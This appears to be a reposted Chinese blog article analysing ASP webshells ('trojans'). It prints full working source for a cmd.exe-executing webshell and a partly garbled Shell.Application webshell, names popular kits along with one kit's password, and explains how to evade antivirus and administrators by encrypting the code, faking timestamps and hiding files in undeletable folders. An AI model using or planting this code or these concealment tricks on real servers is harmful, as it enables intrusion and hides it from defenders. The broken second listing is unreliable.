Asp木馬技術分析
現在很多的站點,為便于建站和背景管理,都使用ASP動态程式。但這也為整個站點的安全帶來很大隐患,現在典型的網站攻擊就是通過植入ASP木馬,進而得到系統的控制權。早期的asp木馬一般有數個檔案,随着asp木馬的易用性、隐蔽性以及強大的可執行性,是以得到越來越的黑客和入侵者的青睐,asp木馬技術也就水漲船高,現在的asp木馬檔案已經內建到一個檔案,其大小也就二三十k,而且可以通過使用“asp木馬免殺工具2.0”等軟體來對asp源程式進行加密等方法,躲過防毒軟體對其的清除。下面就對目前比較流行的木馬技術、木馬軟體以及木馬防殺毒技術進行介紹。
(一)木馬核心技術介紹
Asp木馬中最核心的技術就是利用腳本建立對象,然後利用cmd.exe指令來執行對檔案的建立、删除以及修改等操作。下面就目前較為流行的利用FSO以及不利用FSO技術的木馬程式源代碼進行介紹。
說明:FSO是對FileSystemObject的簡稱,IIS4以及後續版本中的ASP的檔案操作都可以通過FileSystemObject實作,包括文本檔案的讀寫目錄操作、檔案的拷貝改名删除等。FileSystemObject帶來友善的同時,也具有非常大的風險性,利用FileSystemObject可以篡改并下載下傳Fat以及FAT32分區上的任何檔案,即使是ntfs,如果沒有對權限進行很好的設定,同樣也能遭到破壞。
1.使用FSO技術的asp木馬
<%@ LANGUAGE="VBSCRIPT" codepage ="936" %>
<%
Dim oScript
Dim oScriptNet
Dim oFileSys, oFile
Dim szCMD, szTempFile
On Error Resume Next
<b>Set oScript = Server.CreateObject("WSCRIPT.SHELL")</b>
<b>Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")</b>
<b>Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")</b>
szCMD = Request.Form(".CMD")
If (szCMD <> "") Then
szTempFile = "C:\" & oFileSys.GetTempName( )
<b>Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)</b> '使用Run方法建立一個新的程序,隐藏視窗并激活另一視窗,傳回由應用程式傳回的任何錯誤代碼
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) '打開臨時檔案szTempFile
End If
%>
<HTML>
<body bgcolor="#C0C0C0" text="#000000">
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=".CMD" size=45 value="<%= szCMD %>">
<input type=submit value="執行" class=input>
</FORM>
<PRE>
If (IsObject(oFile)) Then
' -- Read the output from our command and remove the temp file -- '
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll) '在網頁上輸出指令執行的結果
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True) '删除臨時檔案szTempFile
End If
%>
</BODY>
</HTML>
使用FSO技術的木馬通過下面的代碼來建立WSCRIPT.SHELL、WSCRIPT.NETWORK和 Scripting.FileSystemObject,然後通過<b>Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)</b><b>來調用常用的delete</b><b>、copy</b><b>、dir</b><b>、net</b><b>、netstat</b><b>等一些DOS</b><b>指令。</b>
其原型為:
<b>cmd.exe /c </b><b>“dos</b><b>指令” > </b><b>“檔案名稱”</b>
如要檢視c盤所有檔案并将檢視結果輸出到viewdrive_c.txt的指令為:
<b>cmd.exe/c dir c:\ >viewdrive_c.txt</b>
<b>說明:</b>“>”是将指令執行的結果輸入到一個檔案。“檔案名稱”中如果沒有指定路徑則預設儲存在目前目錄下。
<b>注意:</b>在輸入的指令之間要留一個空格。
利用FSO技術的asp木馬程式的原理為:從asp頁面擷取輸入的Dos指令,然後分别建立WSCRIPT.SHELL、WSCRIPT.NETWORK和 Scripting.FileSystemObject三個腳本對象,接着執行Dos指令解釋器并執行所輸入的Dos指令,并将輸入其指令的執行結果到一個臨時檔案(szTempFile),然後打開臨時檔案并将其結果回顯在網頁上,最後删除臨時檔案。運作結果如圖1所示。
<b>2</b><b>.非FSO</b><b>技術的asp</b><b>木馬</b>
<form action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=text value="<%=szCMD %>" size="20"> <font class=fonts>輸入要浏覽的目錄,最後要加\</font><br>
<input type=text name=text1 value="<%=szCMD1 %>" size="20">copy
<input type=text name=text2 value="<%=szCMD2 %>" size="20"><br>
<input type=text name=text3 value="<%=szCMD3 %>" size="20">move
<input type=text name=text4 value="<%=szCMD4 %>" size="20"><br>路徑:
<input type=text name=text5 value="<%=szCMD5 %>" size="20">程式:
<input type=text name=text6 value="<%=szCMD6 %>" size="20"><br>
<input type=submit name=sb value=發送指令 class=input>
</form>
</table>
</center>
</body>
</html>
<%
szCMD = Request.Form("text") '目錄浏覽
if (szCMD <> "") then
set shell=server.createobject("shell.application") '建立shell對象
set fod1=shell.namespace(szcmd)
set foditems=fod1.items
for each co in foditems
response.write "<font color=red>" & co.path & "-----" & co.size & "</font><br>"
next
end if
szCMD1 = Request.Form("text1") '目錄拷貝,不能進行檔案拷貝
szCMD2 = Request.Form("text2")
if szcmd1<>"" and szcmd2<>"" then
set shell1=server.createobject("shell.application") '建立shell對象
set fod1=shell1.namespace(szcmd2)
for i=len(szcmd1) to 1 step -1
if mid(szcmd1,i,1)="\" then
path=left(szcmd1,i-1)
exit for
if len(path)=2 then path=path & "\"
path2=right(szcmd1,len(szcmd1)-i)
set fod2=shell1.namespace(path)
set foditem=fod2.parsename(path2)
fod1.copyhere foditem
response.write "command completed success!"
szCMD3 = Request.Form("text3") '目錄移動
szCMD4 = Request.Form("text4")
if szcmd3<>"" and szcmd4<>"" then
set shell2=server.createobject("shell.application") '建立shell對象
set fod1=shell2.namespace(szcmd4)
for i=len(szcmd3) to 1 step -1
if mid(szcmd3,i,1)="\" then
path=left(szcmd3,i-1)
path2=right(szcmd3,len(szcmd3)-i)
set fod2=shell2.namespace(path)
fod1.movehere foditem
szCMD5 = Request.Form("text5") '執行程式到指定路徑
szCMD6 = Request.Form("text6")
if szcmd5<>"" and szcmd6<>"" then
set shell3=server.createobject("shell.application") '建立shell對象
shell3.namespace(szcmd5).items.item(szcmd6).invokeverb
以上代碼運作結果如圖2所示。不使用FSO技術的ASP木馬是建立一個Shell.Application對象,然後通過shell.namespace來對建立的對象進行操作。通過使用該種方法雖然不能執行net、del以及netstat等指令,但是它可以複制、移動檔案及其檔案夾以及執行系統中存在的特定程式。不過在每執行一次應用程式時都會打開一個程序,而且可能會報錯,通過任務控制器可以檢視其打開的程序。
<b>說明:S</b>hell.Application對象提供了NameSpace(檔案夾名)、CopyHere(<源>[,選項标志])和MoveHere(<源>[,選項标志])方法。NameSpace()方法可以得到檔案夾的屬性,CopyHere()和MoveHere()分别對檔案夾進行拷貝和移動。
(二)常用的asp木馬軟體
1.海陽頂端網asp木馬
在衆多的asp木馬中,海陽頂端網asp木馬應該是比較成熟的,也是用得最多的asp木馬,就其版本而言,到目前為止已經推出了數個版本:海陽頂端網asp木馬第一版、海陽頂端網asp木馬xp版、海陽頂端網asp木馬xp-net版、海陽頂端網asp木馬2003版、海陽頂端asp木馬安裝插件版以及海陽頂端網asp木馬2005版。早期的海陽頂端網asp木馬一般都有數個asp檔案,後期的asp木馬把所有的檔案都內建到一個檔案中了,例如xp版和xp-net版內建後的檔案大小也就二十多k。海陽頂端網asp木馬是用asp腳本語言編寫,提供線上更改、編輯、删除任意檔案。如果伺服器上存在asp木馬程式,那麼該伺服器基本上就#¥%了。海陽頂端網asp木馬xp-net版初次運作界面如圖3所示,在下方的輸入密碼框中輸入“haiyangtop.126.com”後可以使用其內建功能的界面(圖4)。在該界面中可以友善的切換盤符,浏覽、編輯、删除和複制指定盤符下所選中的檔案。使用該木馬來操作檔案就如同在本機上操作檔案一樣友善。
2.asp木馬免殺工具2.0
asp木馬免殺工具2.0是一款對asp源代碼進行加密的工具(圖5)。大小為545k,其中asp.exe為主程式,運作程式後選擇源木馬檔案,然後先單擊“轉換”,最後單擊“加密”即可生成一個加密的asp木馬網頁檔案。
3.思易ASP木馬追捕2.0
思易ASP木馬追捕2.0主要對檔案中是否存在FSO、deletefolder、shell.application、wscript、xmlhttp、vbscript.encode、adodb.stream對象或者使用了其中的某些方法進行檢查,可以對利用變量建立對象、靜态對象以及自定義的關鍵字等進行搜尋。不過該程式當對較大檔案的檢索可能導緻IIS停止響應,甚至可能導緻伺服器當機,其運作界面如圖6所示。
(三)asp木馬防毒技術
在攻克主機植入asp木馬後,為了保護好自己的戰利品,防止系統管理者發現,黑客一般情況下都會對asp木馬進行保護,往往通過加密、更改時間以及使用特殊字元等手段來逃過被防毒軟體的查出和避免系統管理者的發現。下面就對其經常使用的方法進行講解。
1.利用軟體對asp源代碼加密
目前有很多軟體可以對asp源代碼進行加密,例如asp木馬免殺工具2.0等。其原理是采用一定的算法将源代碼或者源代碼中的關鍵字進行某種轉換,經過轉換後,源代碼已經變為亂碼或者顯示為特定的字元形式。但是随着殺毒技術的提高和版本的更新,經過加密後的asp木馬仍然不能保證躲過防毒軟體的清除。
2.修改asp木馬檔案的時間
asp木馬上傳到伺服器後,即使非常隐蔽,但是其檔案修改時間的變化在正常檔案中很容易被發現,是以有人通過修改木馬源程式檔案的時間跟在伺服器上的正常檔案的時間一緻來逃過被管理者發現。
3.利用特殊字元"\"來保護asp木馬
Windows在設計時已經考慮到不能使用“\”來作為檔案及其檔案夾的名字,但是在使用cmd.exe指令來建立檔案時,如果其檔案名中包含了“\”,則該檔案名中的“\”将被忽略,但是所建立的檔案夾還是會成功,隻是不會顯示“\”(圖7)。利用"\"字元來保護asp木馬檔案的原理為:在IIS設定的目錄下建立一個形入“a…\”的檔案夾,然後将木馬檔案複制到該檔案夾中。複制成功後,可以在浏覽其中輸入如下位址運作木馬檔案:[url]http://localhost/aspmuma/[/url]<b>asp.../</b>xp.asp
說明:其中我們将xp.asp木馬檔案複制到“asp…/”目錄中,其建立指令如下:
mkdir a…\
copy xp.asp a…\
建立成功後,可以在浏覽器中看到一個為“a”的檔案夾,但不能打開和删除該檔案夾,進而達到保護asp木馬檔案的目的。
本文轉自 simeon2005 51CTO部落格,原文連結:http://blog.51cto.com/simeon/46572